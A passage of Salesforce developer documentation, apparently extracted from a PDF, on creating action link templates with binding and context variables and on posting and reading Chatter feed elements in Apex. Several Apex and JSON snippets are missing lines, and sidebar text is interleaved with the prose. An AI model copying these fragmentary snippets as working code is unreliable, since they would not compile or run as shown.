To avoid issues due to upgrades or changing functionality in your API, we recommend using versioning when defining action links. For
example, the actionUrl property in the ConnectApi.ActionLinkDefinitionInput Class should look like
https://www.example.com/api/v1/exampleResource.
You can use templates to change the values of the actionUrl, headers, or requestBody properties, even after a template is
distributed in a package. Let’s say you release a new API version that requires new inputs. An admin can change the inputs in the action
link template in Setup and even action links already associated with a feed element use the new inputs. However, you can’t add new
binding variables to a published action link template.
If your API isn’t versioned, you can use the expirationDate property of the
ConnectApi.ActionLinkGroupDefinitionInput Class to avoid issues due to upgrades or changing functionality
in your API. See Set the Action Link Group Expiration Time.
Errors
Use the Action Link Diagnostic Information method (ActionLinks.getActionLinkDiagnosticInfo(communityId,
actionLinkId)) to return status codes and errors from executing Api action links. Diagnostic info is given only for users who can
access the action link.
Localized Labels
Action links use a predefined set of localized labels specified in the labelKey property of the
ConnectApi.ActionLinkDefinitionInput Class request body and the Label field of an action link template.
For a list of labels, see Action Links Labels.
328
Note: If none of the label key values make sense for your action link, specify a custom label in the Label field of an action link
template and set Label Key to None. However, custom labels aren’t localized.
SEE ALSO:
Action Links Use Case

Use action links to integrate Salesforce and third-party services with a feed. An action link can make an HTTP request to a Salesforce or
third-party API. An action link can also download a file or open a web page. This topic contains an example use case.
Start a Video Chat from the Feed

Suppose that you work as a Salesforce developer for a company that has a Salesforce org and an account with a fictional company called
“VideoChat.” Users have been saying they want to do more from Salesforce1. You’re asked to create an app that lets users create and
join video chats directly from Salesforce1.
When a user opens the VideoChat app in Salesforce1, they’re asked to name the video chat room and invite either a group or individual
users to the video chat room. When the user clicks OK, the VideoChat app launches the video chat room and posts a feed item to the
selected group or users asking them to Please join the video chat by clicking an action link labeled Join. When an invitee clicks Join,
the action link opens a web page containing the video chat room.
As a developer thinking about how to create the action link URL, you come up with these requirements:
1. When a user clicks Join, the action link URL has to open the video chat room they were invited to.
2. The action link URL has to tell the video chat room who’s joining.
To dynamically create the action link URLs, you create an action link template in Setup.
329
For the first requirement, you create a {!Bindings.roomId} binding variable in the Action URL template field. When the
Salesforce1 user clicks OK to create the video chat room, your Apex code generates a unique room ID. The Apex code uses that unique
room ID as the binding variable value when it instantiates the action link group, associates it with the feed item, and posts the feed item.
For the second requirement, the action link must include the user ID. Action links support a predefined set of context variables. When
an action link is invoked, Salesforce substitutes the variables with values. Context variables include information about who clicked the
action link and in what context it was invoked. You decide to include a {!userId} context variable in the Action URL so that
when a user clicks the action link in the feed, Salesforce substitutes the user’s ID and the video chat room knows who’s entering.
This is the action link template for the Join action link.
Every action link must be associated with an action link group. The group defines properties shared by all the action links associated
with it. Even if you’re using a single action link (as in this example) it must be associated with a group. The first field of the action link
template is Action Link Group Template, which in this case is Video Chat, which is the action link group template the
action link template is associated with.
330

Create action link templates in Setup so that you can instantiate action link groups with common
EDITIONS
properties from Chatter REST API or Apex. You can package templates and distribute them to other
Salesforce organizations. Available in: Salesforce
An action link is a button on a feed element. Clicking an action link can take a user to a Web page, Classic and Lightning
initiate a file download, or invoke an API call to Salesforce or to an external server. An action link Experience
includes a URL and an HTTP method, and can include a request body and header information, such
Available in: All editions
as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services except Personal Edition.
into the feed so that users can take action to drive productivity and accelerate innovation.
In this example, Approve and Reject are action links that make API calls to the REST API of a fictional
travel website to approve or reject an itinerary. When Pam created the itinerary on the travel website, the travel website made a Chatter
REST API request to post the feed item with the action links to Pam’s manager Kevin so that he can approve or reject the itinerary.
Important: Action links are a developer feature. Although you create action link templates in Setup, you must use Apex or Chatter
REST API to generate action links from templates and add them to feed elements.
IN THIS SECTION:
Design Action Link Templates
Before you create a template, consider which values you want to set in the template and which values you want to set with binding
variables when you instantiate action link groups from the template.
Create Action Link Templates
Create action link templates in Setup so that you can instantiate action link groups with common properties from Chatter REST API
or Apex. You can package templates and distribute them to other Salesforce organizations.
Edit Action Link Templates
You can edit all fields on an unpublished action link group template and on its associated action link templates.
331
Delete Action Link Group Templates

When you delete an action link group template, you delete its associated action link templates and all action link groups that have
been instantiated from the templates. Deleted action link groups disappear from any feed elements they've been associated with.
Package Action Link Templates
Package action link templates to distribute them to other Salesforce organizations.
SEE ALSO:
Design Action Link Templates

Before you create a template, consider which values you want to set in the template and which values you want to set with binding
variables when you instantiate action link groups from the template.
• Action Link Templates Overview
• Template Design Considerations
• Set the Action Link Group Expiration Time
• Define Binding Variables
• Set Who Can See the Action Link
• Use Context Variables
Action Link Templates Overview
Here’s an action link group template in Setup:
Each action link group should contain at least one action link. This example action link template has three binding variables: the API
version number in the Action URL, the Item Number in the HTTP Request Body, and the OAuth token value in the HTTP
Header field.
332
The Chatter REST API request to instantiate the action link group and set the values of the binding variables:
POST /connect/action-link-group-definitions
{
"templateId":"07gD00000004C9r",
"templateBindings":[
{
"key":"ApiVersion",
"value":"v1.0"
},
{
"key":"ItemNumber",
"value":"8675309"
},
{
"key":"BearerToken",
"value":"00DRR0000000N0g!ARoAQMZyQtsP1Gs27EZ8hl7vdpYXH5O5rv1VNprqTeD12xYnvygD3JgPnNR"
}
]
}
333
This is the Apex code that instantiates the action link group from the template and sets the values of the binding variables:

bindingMap.put('ApiVersion', '1.0');
bindingMap.put('ItemNumber', '8675309');
bindingMap.put('BearerToken',
'00DRR0000000N0g!ARoAQMZyQtsP1Gs27EZ8hl7vdpYXH5O5rv1VNprqTeD12xYnvygD3JgPnNR');

}

Template Design Considerations

Considerations for designing a template:
• Determine the expiration time of the action link group.
See Set the Action Link Group Expiration Time.
• Define binding variables in the template and set their values when you instantiate the group. Don’t store sensitive information in
templates. Use binding variables to add sensitive information at run time.
See Define Binding Variables.
• Determine who can see the action link when it’s associated with a feed element.
Set Who Can See the Action Link.
• Use context variables in the template to get information about the execution context of the action link.
When the action link executes, Salesforce fills in the values and sends them in the HTTP request. See Use Context Variables.
Set the Action Link Group Expiration Time
334
When creating an action link group from a template, the expiration date can be calculated based on a period provided in the template,
or the action link group can be set not to expire at all.
To set the hours until expiration in a template, enter a value in the Hours until Expiration field of the action link group
template. This value is the number of hours from when the action link group is instantiated until it's removed from associated feed
elements and can no longer be executed. The maximum value is 8760, which is 365 days.
To set the action link group expiration date when you instantiate it, set the expirationDate property of either the Action Link
Group Definition request body (Chatter REST API) or the ConnectApi.ActionLinkGroupDefinition input class (Apex).
To create an action link group that doesn’t expire, don’t enter a value in the Hours until Expiration field of the template
and don’t enter a value for the expirationDate property when you instantiate the action link group.
Here’s how expirationDate and Hours until Expiration work together when creating an action link group from a
template:
• If you specify expirationDate, its value is used in the new action link group.
• If you don’t specify expirationDate and you specify Hours until Expiration in the template, the value of Hours
until Expiration is used in the new action link group.
• If you don’t specify expirationDate or Hours until Expiration, the action link groups instantiated from the template
don’t expire.
Define Binding Variables
Define binding variables in templates and set their values when you instantiate an action link group.
Important: Don’t store sensitive information in templates. Use binding variables to add sensitive information at run time. When
the value of a binding is set, it is stored in encrypted form in Salesforce.
You can define binding variables in the Action URL, HTTP Request Body, and HTTP Headers fields of an action link
template. After a template is published, you can edit these fields, you can move binding variables between these fields, and you can
delete binding variables. However, you can’t add new binding variables.
Define a binding variable’s key in the template. When you instantiate the action link group, specify the key and its value.
Binding variable keys have the form {!Bindings.key}.
The key supports Unicode characters in the predefined \w character class:
[\p{Alpha}\p{gc=Mn}\p{gc=Me}\p{gc=Mc}\p{Digit}\p{gc=Pc}].
This Action URL field has two binding variables:
https://www.example.com/{!Bindings.ApiVersion}/items/{!Bindings.ItemId}
This HTTP Headers field has two binding variables:

Authorization: OAuth {!Bindings.OAuthToken}
Content-Type: {!Bindings.ContentType}
Specify the keys and their values when you instantiate the action link group in Chatter REST API:
{
"templateBindings" : [
{
"key":"ApiVersion",
"value":"1.0"
335
},
{
"key":"ItemId",
"value":"8675309"
},
{
"key":"OAuthToken",
"value":"00DRR0000000N0g_!..."
},
{
"key":"ContentType",
"value":"application/json"
}
]
}
Specify the binding variable keys and set their values in Apex:
bindingMap.put('ApiVersion', '1.0');
bindingMap.put('ItemId', '8675309');
bindingMap.put('OAuthToken', '00DRR0000000N0g_!...');
bindingMap.put('ContentType', 'application/json');
List<ConnectApi.ActionLinkTemplateBindingInput> bindingInputs =
new List<ConnectApi.ActionLinkTemplateBindingInput>();

}
// Define the action link group definition.

ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput =
new ConnectApi.ActionLinkGroupDefinitionInput();
actionLinkGroupDefinitionInput.templateId = '07gD00000004C9r';

Tip: You can use the same binding variable multiple times in action link templates, and only provide the value once during
instantiation. For example, you could use {!Bindings.MyBinding} twice in the HTTP Request Body field of one
action link template, and again in the HTTP Headers of another action link template within the same action link group
template, and when you instantiate an action link group from the template, you would need to provide only one value for that
shared variable.
Set Who Can See the Action Link
Choose a value from the User Visibility drop-down list to determine who can see the action link after it’s associated with a feed element.
336
Among the available options are Only Custom User Can See and Everyone Except Custom User Can See. Choose one of these values to
allow only a specific user to see the action link or to prevent a specific user from seeing it. Then enter a value in the Custom User
Alias field. This value is a binding variable key. In the code that instantiates the action link group, use the key and specify the value
as you would for any binding variable.
This template uses the Custom User Alias value Invitee:
When you instantiate the action link group, set the value just like you would set a binding variable:
{
{
"key":"Invitee",
"value":"005D00000017u6x"
}
]
}
337
If the template uses Only creator’s manager can see, a user that doesn’t have a manager receives an error when instantiating an action
link group from the template. In addition, the manager is the manager at the time of instantiation. If the user’s manager changes after
instantiation, that change isn’t reflected.
Use Context Variables
Use context variables to pass information about the user who executed the action link and the context in which it was invoked into the
HTTP request made by invoking an action link. You can use context variables in the actionUrl, headers, and requestBody
properties of the Action Link Definition Input request body or ConnectApi.ActionLinkDefinitionInput object. You can
also use context variables in the Action URL, HTTP Request Body, and HTTP Headers fields of action link templates. You
can edit these fields, including adding and removing context variables, after a template is published.
These are the available context variables:

executed.
"000000000000000000".
link.
For example, suppose you work for a company called Survey Example and you create an app for the Salesforce AppExchange called
Survey Example for Salesforce. Company A has Survey Example for Salesforce installed. Let’s imagine that someone from company
A goes to surveyexample.com and makes a survey. Your Survey Example code uses Chatter REST API to create a feed item in
Company A’s Salesforce organization with the body text Take a survey, and an action link with the label OK.
This UI action link takes the user from Salesforce to a web page on surveyexample.com to take a survey.
If you include a {!userId} context variable in either the HTTP Request Body or the Action URL for that action link, when
a user clicks the action link in the feed, Salesforce sends the ID of the user who clicked in the HTTP request it makes to your server.
If you include an {!actionLinkId} context variable in the Survey Example server-side code that creates the action link, Salesforce
sends an HTTP request with the ID of the action link and you can save that to your database.
This example includes the {!userId} context variable in the Action URL in the action link template:
338
Tip: Binding variables and context variables can be used in the same field. For example, this action URL contains a binding variable
and a context variable:
https://www.example.com/{!Bindings.apiVersion}/doSurvey?salesforceUserId={!userId}
SEE ALSO:
339
Create Action Link Templates

Create action link templates in Setup so that you can instantiate action link groups with common
EDITIONS
properties from Chatter REST API or Apex. You can package templates and distribute them to other
Salesforce organizations. Available in: Salesforce
Note: In addition to creating action link templates in Setup, you can also use Metadata API, Classic and Lightning
Experience
SOAP API, and REST API to create action link templates.
The Action URL, HTTP Request Body, and HTTP Headers fields support binding Available in: All editions
variables and context variables. Define binding variables in a template and set their values when except Personal edition.
you instantiate the action link group. Use context variables in a template and when an action link
executes, Salesforce fills in the value and returns it in the request. For information about how to USER PERMISSIONS
use these variables in a template, see Design Action Link Templates.
To create action link group
1. From Setup, enter Action Link Templates in the Quick Find box, then select
templates:
Action Link Templates.
• Customize Application
2. Click New. To create action link
3. Enter the Name of the template. This name is displayed in the list of action link group templates. templates:
This is the only action link group template value you can edit after the action link group template
has been published.
4. Enter the Developer Name. Use the Developer Name to refer to this template from code. It defaults to a version of the
Developer Name without spaces. Only letters, numbers, and underscores are allowed.
5. Select the Category, which indicates where to display the instantiated action link groups on feed elements. Primary displays
action link groups in the body of feed elements. Overflow displays action link groups in the overflow menu of feed elements.
If an action link group template is Primary, it can contain up to three action link templates. If an action link group template is Overflow,
it can contain up to four action link templates.
6. Select the number of Executions Allowed, which indicates how many times the action link groups instantiated from this
template can be executed. (Action links within a group are mutually exclusive.) If you choose Unlimited, the action links in the group
cannot be of type Api or ApiAsync.
7. (Optional) Enter the Hours until Expiration, which is the number of hours from when the action link group is created
until it's removed from associated feed elements and can no longer be executed. The maximum value is 8760.
See Set the Action Link Group Expiration Time.
8. Click Save.
9. Click New to create an action link template.
The action link template is automatically associated with an action link group template in a master-detail relationship.
10. Select the Action Type.

Values are:
• Api—The action link calls a synchronous API at the action URL. Salesforce sets the status to SuccessfulStatus or
FailedStatus based on the HTTP status code returned by your server.
• ApiAsync—The action link calls an asynchronous API at the action URL. The action remains in a PendingStatus state
until a third party makes a request to /connect/action-links/actionLinkId to set the status to
SuccessfulStatus or FailedStatus when the asynchronous operation is complete.
340
11. Enter an Action URL, which is the URL for the action link.
For a UI action link, the URL is a Web page. For a Download action link, the URL is a link to a file to download. For an Api action
link or an ApiAsync action link, the URL is a REST resource.
Links to resources hosted on Salesforce servers can be relative, starting with a /. All other links must be absolute and start with
https://. This field can contain binding variables in the form {!Bindings.key}, for example,
https://www.example.com/{!Bindings.itemId}. Set the binding variable’s value when you instantiate the action
link group from the template, as in this Chatter REST API example, which sets the value of itemId to 8675309.
{
"templateId" : "07gD00000004C9r",
{
"key":"itemId",
"value": "8675309"
}
]
}
This field can also contain context variables. Use context variables to pass information about the user who executed the action link
to your server-side code. For example, this action link passes the user ID of the user who clicked on the action link to take a survey
to the server hosting the survey.
actionUrl=https://example.com/doSurvey?surveyId=1234&salesforceUserId={!userId}
12. Enter the HTTP Method to use to make the HTTP request.
13. (Optional) If the Action Type is Api or ApiAsync, enter an HTTP Request Body.
This field can contain binding variables and context variables.
14. (Optional) If the Action Type is Api or ApiAsync, enter HTTP Headers.
This field can contain binding variables and context variables.
If an action link instantiated from the template makes a request to a Salesforce resource, the template must have a Content-Type
header.
15. (Optional) To make this action link the default link in the group (which has special formatting in the UI), select Default Link
in Group. There can be only one default link in a group.
16. (Optional) To display a confirmation dialog to the user before the action link executes, select Confirmation Required.
17. Enter the relative Position of the action link within action link groups instantiated from this template. The first position is 0.
18. Enter the Label Key. This value is the key for a set of UI labels to display for these statuses: NewStatus, PendingStatus,
SuccessfulStatus, FailedStatus.
For example, the Post set contains these labels: Post, Post Pending, Posted, Post Failed. This image shows an action link with
the Post label key when the value of status is SuccessfulStatus:
341
19. (Optional) If none of the Label Key values make sense for the action link, set Label Key to None and enter a value in the
Label field.
Action links have four statuses: NewStatus, PendingStatus, SuccessStatus, and FailedStatus. These strings are appended to the label
for each status:
• label
• label Pending
• label Success
• label Failed
For example, if the value of label is “See Example,” the values of the four action link states are: See Example, See Example Pending,
See Example Success, and See Example Failed.
An action link can use either a LabelKey or Label to generate label names, it can’t use both.
20. Select User Visibility, which indicates who can see the action link group.
If you select Only creator’s manager can see, the manager is the creator’s manager when the action link group is instantiated. If
the creator’s manager changes after the action link group is instantiated, that change is not reflected.
21. (Optional) If you selected Only Custom User Can See or Everyone Except Custom User Can See, enter a Custom User Alias.
Enter a string and set its value when you instantiate an action link group, just like you would set the value for a binding variable.
However don’t use the binding variable syntax in the template, just enter a value. For example, you could enter ExpenseApprover.
This Chatter REST API example sets the value of ExpenseApprover to 005B0000000Ge16:
{
"templateId" : "07gD00000004C9r",
342
{
"key":"ExpenseApprover",
"value": "005B0000000Ge16"
}
]
}
22. To create another action link template for this action link group template, click Save & New.
23. If you’re done adding action link templates to this action link group template, click Save.
24. To publish the action link group template, click Back to List to return to the Action Link Group Template list view.
Important: You must publish a template before you can instantiate an action link group from it in Apex or Chatter REST API.
25. Click Edit for the action link group template you want to publish.
26. Select Published and click Save.
SEE ALSO:
Edit Action Link Templates

You can edit all fields on an unpublished action link group template and on its associated action
EDITIONS
link templates.
1. From Setup, enter Action Link Templates in the Quick Find box, then select Available in: Salesforce
Action Link Templates. Classic and Lightning
Experience
2. To edit an action link group template, click Edit next to its name.
If the group template isn’t published, edit any field. If it is published, edit the Name field only. Available in: All editions
except Personal edition.
3. To edit an action link template:
a. Click the name of its master action link group template. USER PERMISSIONS
b. Click the Action Link Template ID to open the detail page for the action link template.
To edit action link group
c. Click Edit. templates:
If the associated action link group template isn’t published, edit any field. If it’s published, • Customize Application
edit any of these fields: To edit action link templates:
• Action URL • Customize Application
• HTTP Request Body
• HTTP Headers
These fields support context variables and binding variables.
You can add and delete context variables in any of these fields.
You cannot add a new binding variable. You can:
• Move a binding variable to another editable field in an action link template.
• Use a binding variable more than once in an action link template.
343
• Use a binding variable more than once in any action link templates associated with the same action link group template.
• Remove binding variables.
SEE ALSO:
Delete Action Link Group Templates

When you delete an action link group template, you delete its associated action link templates and
EDITIONS
all action link groups that have been instantiated from the templates. Deleted action link groups
disappear from any feed elements they've been associated with. Available in: Salesforce
1. From Setup, enter Action Link Templates in the Quick Find box, then select Classic and Lightning
Action Link Templates. Experience
2. To delete an action link group template, click Del next to its name. Available in: All editions
except Personal edition.
Important: When you delete an action link group template, you delete its associated
action link templates and all action link groups that have been instantiated from the
template. The action link group is deleted from any feed elements it has been associated USER PERMISSIONS
with, which means that action links disappear from those posts in the feed.
To delete action link group
3. To delete an action link template: templates:
a. Click the name of its master action link group template.
To delete action link
b. Click the Action Link Template ID to open the detail page for the action link template. templates:
c. Click Delete. • Customize Application
Important: You can’t delete an action link template that’s associated with a published
action link group template.
SEE ALSO:
344
Package Action Link Templates

Package action link templates to distribute them to other Salesforce organizations.
EDITIONS
When you add an action link group template, any associated action link templates are also added
to the package. You can add an action link group template to a managed or unmanaged package. Available in: Salesforce
As a packageable component, action link group templates can also take advantage of all the features Classic and Lightning
of managed packages, such as listing on the AppExchange, push upgrades, post-install Apex scripts, Experience
license management, and enhanced subscriber support. To create a managed package, you must
Available in: All editions
use a Developer Edition organization. except Personal edition.
• See Creating and Editing a Package at https://help.salesforce.com.
USER PERMISSIONS
SEE ALSO:
To package action link
templates:
Define an Action Link in a Template and Post with a Feed Element • Create AppExchange
Package
Working with Feeds and Feed Elements
In API versions 30.0 and earlier, a Chatter feed was a container of feed items. In API version 31.0, the definition of a feed expanded to
include new objects that didn’t entirely fit the feed item model. The Chatter feed became a container of feed elements. The abstract class
ConnectApi.FeedElement was introduced as a parent class to the existing ConnectApi.FeedItem class. The subset of
properties that feed elements share was moved into the ConnectApi.FeedElement class. Because feeds and feed elements are
the core of Chatter, understanding them is crucial to developing applications with Chatter in Apex.
Note: Salesforce Help refers to feed items as posts and bundles as bundled posts.
Capabilities
As part of the effort to diversify the feed, pieces of functionality found in feed elements have been broken out into capabilities. Capabilities
provide a consistent way to interact with objects in the feed. Don’t inspect the feed element type to determine which functionality is
available for a feed element. Inspect the capability object, which tells you explicitly what’s available. Check for the presence of a capability
to determine what a client can do to a feed element.
The ConnectApi.FeedElement.capabilities property holds a ConnectApi.FeedElementCapabilities
object, which holds a set of capability objects.
A capability object includes both an indication that a feature is possible and data associated with that feature. If a capability property
exists on a feed element, that capability is available, even if there isn’t any data associated with the capability yet. For example, if the
chatterLikes capability property exists on a feed element (with or without any likes included in the list of likes found in the
chatterLikes.page.items property), the context user can like that feed element. If the capability property doesn’t exist on a
feed element, it isn’t possible to like that feed element.
When posting a feed element, specify its characteristics in the ConnectApi.FeedElementInput.capabilities property.
How the Salesforce UI Displays Feed Items

Note: ConnectApi.FeedItem is a subclass of ConnectApi.FeedElement.
As we learned in Capabilities, clients use the ConnectApi.FeedElement.capabilities property to determine what it can
do with a feed element and how it renders a feed element. For all feed element subclasses other than ConnectApi.FeedItem,
the client doesn’t need to know the subclass type, it can simply look at the capabilities. Feed items do have capabilities, but they also
345
have a few properties, such as actor, that aren’t exposed as capabilities. For this reason, clients must handle feed items a bit differently
than other feed elements.
To give customers a consistent view of feed items and to give developers an easy way to create UI, the Salesforce UI uses one layout to
display every feed item. The layout always contains the same pieces and the pieces are always in the same position; only the content of
the layout pieces changes.
The feed item (ConnectApi.FeedItem) layout elements are:

1. Actor (ConnectApi.FeedItem.actor)—A photo or icon of the creator of the feed item. (You can override the creator at
the feed item type level. For example, the dashboard snapshot feed item type shows the dashboard as the creator.)
2. Header (ConnectApi.FeedElement.header)—Provides context. The same feed item can have a different header depending
on who posted it and where. For example, Gordon posted this feed item to his profile. If he then shared it to a group, the header of
the feed item in the group feed would be “Gordon Johnson (originally posted by Gordon Johnson)”. The “originally posted” text
would link to the feed item on Gordon’s profile.
3. Body (ConnectApi.FeedElement.body)—All feed items have a body, but the body can be null, which is the case when
the user doesn’t provide text for the feed item. Because the body can be null, you can’t use it as the default case for rendering
text. Instead, use the ConnectApi.FeedElement.header.text property, which always contains a value.
4. Auxiliary Body (ConnectApi.FeedElement.capabilities)—The visualization of the capabilities. See Capabilities.
Important: The attachment property is not supported in API versions 32.0 and later. Instead, use the capabilities
property, which holds a ConnectApi.FeedElementCapabilities object, to discover what to render for a feed
element.
5. Created By Timestamp (ConnectApi.FeedElement.relativeCreatedDate)—The date and time when the feed item
was posted. If the feed item is less than two days old, the date and time are formatted as a relative, localized string, for example,
“17m ago” or “Yesterday”. Otherwise, the date and time are formatted as an absolute, localized string.
Here’s another example of a feed item in the Salesforce UI. This feed item’s auxiliary body contains a poll capability:
346
How the Salesforce Displays Feed Elements Other Than Feed Items
As we learned in the Capabilities section, a client should use the ConnectApi.FeedElement.capabilities property to
determine what it can do with a feed element and how to render a feed element. This section uses bundles as an example of how to
render a feed element, but these properties are available for every feed element. Capabilities allow you to handle all content in the feed
consistently.
Note: Bundled posts contain feed-tracked changes. In Salesforce1 downloadable apps, bundled posts are in record feeds only.
To give customers a clean, organized feed, Salesforce aggregates feed-tracked changes into a bundle. To see individual feed elements,
click the bundle.
A bundle is a ConnectApi.GenericFeedElement object (which is a concrete subclass of ConnectApi.FeedElement)

with a ConenctApi.BundleCapability. The bundle layout elements are:
1. Header (ConnectApi.FeedElement.header)—For feed-tracked change bundles, this text is “This record was updated.”
The time below the header is the ConnectApi.FeedElement.relativeCreatedDate property.
2. Auxiliary Body (ConnectApi.FeedElement.capabilities.bundle.changes)—The bundle displays the

fieldName and the oldValue and newValue properties for the first two feed-tracked changes in the bundle. If there are
more than two feed-tracked changes, the bundle displays a “Show All Updates” link.
Feed Element Visibility

The feed elements a user sees depend on how the administrator has configured feed tracking, sharing rules, and field-level security. For
example, if a user doesn’t have access to a record, they don’t see updates for that record. If a user can see the parent of the feed element,
the user can see the feed element. Typically, a user sees feed updates for:
• Feed elements that @mention the user (if the user can access the feed element’s parent)
• Feed elements that @mention groups the user is a member of
347
• Record field changes on records whose parent is a record the user can see, including User, Group, and File records
• Feed elements posted to the user
• Feed elements posted to groups the user owns or is a member of
• Feed elements for standard and custom records, for example, tasks, events, leads, accounts, files
Feed Types
There are many types of feeds. Each feed type is an algorithm that defines a collection of feed elements.
Important: The algorithms, and therefore the collection of feed elements, can change between releases.
All feed types except Filter and Favorites are exposed in the ConnectApi.FeedType enum and passed to one of the
ConnectApi.ChatterFeeds.getFeedElementsFromFeed methods. This example gets the feed elements from the
context user’s news feed and topics feed:
ConnectApi.FeedElementPage newsFeedElementPage =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(null,
ConnectApi.FeedElementPage topicsFeedElementPage =
ConnectApi.FeedType.Topics, '0TOD00000000cld');
To get a filter feed, call one of the ConnectApi.ChatterFeeds.getFeedElementsFromFilterFeed methods. To get

a favorites feed, call one of the ConnectApi.ChatterFavorites.getFeedElements methods.
The feed types and their descriptions are:
• Bookmarks—Contains all feed items saved as bookmarks by the context user.
• Company—Contains all feed items except feed items of type TrackedChange. To see the feed item, the user must have sharing
access to its parent.
• DirectMessageModeration—Contains all direct messages that are flagged for moderation. The Direct Message Moderation
feed is available only to users with Moderate Communities Chatter Messages permissions.
• DirectMessages—Contains all feed items of the context user’s direct messages.
• Files—Contains all feed items that contain files posted by people or groups that the context user follows.
• Filter—Contains the news feed filtered to contain feed items whose parent is a specified object type.
• Groups—Contains all feed items from all groups the context user either owns or is a member of.
• Home—Contains all feed items associated with any managed topic in a community.
• Landing—Contains all feed items that best drive user engagement when the feed is requested. Allows clients to avoid an empty
feed when there aren’t many personalized feed items.
• Moderation—Contains all feed items that are flagged for moderation, except direct messages. The Communities Moderation
feed is available only to users with Moderate Community Feeds permissions.
• Mute—Contains all feed items that the context user muted.
• News—Contains all updates for people the context user follows, groups the user is a member of, and files and records the user is
following. Also contains all updates for records whose parent is the context user and every feed item and comment that mentions
the context user or that mentions a group the context user is a member of.
• PendingReview—Contains all feed items and comments that are pending review.
• People—Contains all feed items posted by all people the context user follows.
348
• Record—Contains all feed items whose parent is a specified record, which could be a group, user, object, file, or any other standard
or custom object. When the record is a group, the feed also contains feed items that mention the group. When the record is a user,
the feed contains only feed items on that user. You can get another user’s record feed.
• Streams—Contains all feed items for any combination of up to 25 feed-enabled entities, such as people, groups, and records,
that the context user subscribes to in a stream.
• To—Contains all feed items with mentions of the context user, feed items the context user commented on, and feed items created
by the context user that are commented on.
• Topics—Contains all feed items that include the specified topic.
• UserProfile—Contains feed items created when a user changes records that can be tracked in a feed, feed items whose parent
is the user, and feed items that @mention the user. This feed is different than the news feed, which returns more feed items, including
group updates. You can get another user’s user profile feed.
• Favorites—Contains favorites saved by the context user. Favorites are feed searches, list views, and topics.
Post a Feed Item Using postFeedElement

Tip: The postFeedElement methods are the simplest, most efficient way to post feed items because, unlike the
postFeedItem methods, they don’t require you to pass a feed type. As of API version 31.0, feed items are the only feed element
type you can post. However, there may be other types in the future.
Use these methods to post feed items:
postFeedElement(String communityId, String subjectId, ConnectApi.FeedElementType
feedElementType, String text)
Posts a feed element with plain text from the context user.
postFeedElement(String communityId, ConnectApi.FeedElementInput feedElement,
ConnectApi.BinaryInput feedElementFileUpload) (version 35.0 and earlier)
Posts a feed element from the context user. Use this method to post rich text, including mentions and hashtag topics, to attach a
file to a feed element, and to associate action link groups with a feed element. You can also use this method to share a feed element
and add a comment.
postFeedElement(String communityId, ConnectApi.FeedElementInput feedElement) (version 36.0
and later)
Posts a feed element from the context user. Use this method to post rich text, including mentions and hashtag topics, to attach
already uploaded files to a feed element, and to associate action link groups with a feed element. You can also use this method to
share a feed element and add a comment.
When you post a feed item, you create a child of a standard or custom object. Specify the parent object in the subjectId parameter
or in the subjectId property of the ConnectApi.FeedElementInput object you pass in the feedElement parameter.
The value of the subjectId parameter determines the feeds in which the feed item is displayed. The parent property in the
returned ConnectApi.FeedItem object contains information about the parent object.
Use these methods to complete these tasks:
Post to yourself
This code posts a feed item to the context user. The subjectId specifies me, which is an alias for the context user’s ID. It could
also specify the context user’s ID.
ConnectApi.FeedElement feedElement = ConnectApi.ChatterFeeds.postFeedElement(null, 'me',
ConnectApi.FeedElementType.FeedItem, 'Working from home today.');
The parent property of the newly posted feed item contains the ConnectApi.UserSummary of the context user.
349
Post to another user

This code posts a feed item to a user other than the context user. The subjectId specifies the user ID of the target user.
ConnectApi.FeedElement feedElement = ConnectApi.ChatterFeeds.postFeedElement(null,

'005D00000016Qxp', ConnectApi.FeedElementType.FeedItem, 'Kevin, do you have information
about the new categories?');
The parent property of the newly posted feed item contains the ConnectApi.UserSummary of the target user.
Post to a group
This code posts a feed item with a content attachment to a group. The subjectId specifies the group ID.

ConnectApi.ContentAttachmentInput contentAttachmentInput = new
ConnectApi.ContentAttachmentInput();
contentAttachmentInput.contentDocumentId = '069D00000001pyS';
textSegmentInput.text = 'Would you please review this doc?';

feedItemInput.attachment = contentAttachmentInput;
// Use a group ID for the subject ID.

feedItemInput.subjectId = '0F9D00000000oOT';

feedItemInput, null);
The parent property of the newly posted feed item contains the ConnectApi.ChatterGroupSummary of the specified
group.
Post to a record (such as a file or an account)
This code posts a feed item to a record and mentions a group. The subjectId specifies the record ID.

textSegmentInput.text = 'Does anyone know anyone with contacts here?';

// Mention a group.
mentionSegmentInput.id = '0F9D00000000oOT';
350
// Use a record ID for the subject ID.

feedItemInput.subjectId = '001D000000JVwL9';

feedItemInput, null);
The parent property of the new feed item depends on the record type specified in subjectId. If the record type is File, the
parent is ConnectApi.FileSummary. If the record type is Group, the parent is ConnectApi.ChatterGroupSummary.
If the record type is User, the parent is ConnectApi.UserSummary. For all other record types, as in this example which uses
an Account, the parent is ConnectApi.RecordSummary.
Get Feed Elements from a Feed

Tip: To return a feed that includes feed elements, call these methods. As of API version 31.0, the only feed element types are feed
item and bundle, but that could change in the future.
Getting feed items from a feed is similar, but not identical, for each feed type.
Get feed elements from the Company feed, the Home feed, and the Moderation feed
To get the feed elements from the company feed, the home feed, or the moderation feed, use these methods that don’t require a
subjectId:
• ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType)
ConnectApi.FeedType feedType, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity
density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity
density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam,
ConnectApi.FeedFilter filter)
Get feed elements from the Favorites feed
To get the feed elements from the favorites feed, specify a favoriteId. For these feeds, the subjectId must be the ID of
the context user or the alias me.
• ConnectApi.ChatterFavorites.getFeedElements(String communityId, String subjectId,
String favoriteId)
String favoriteId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
sortParam)
String favoriteId,Integer recentCommentCount, Integer elementsPerBundle, String
pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)
351
Get feed elements from the Filter feed

To get the feed elements from the filters feed, specify a keyPrefix. The keyPrefix indicates the object type and is the first
three characters of the object ID. The subjectId must be the ID of the context user or the alias me.
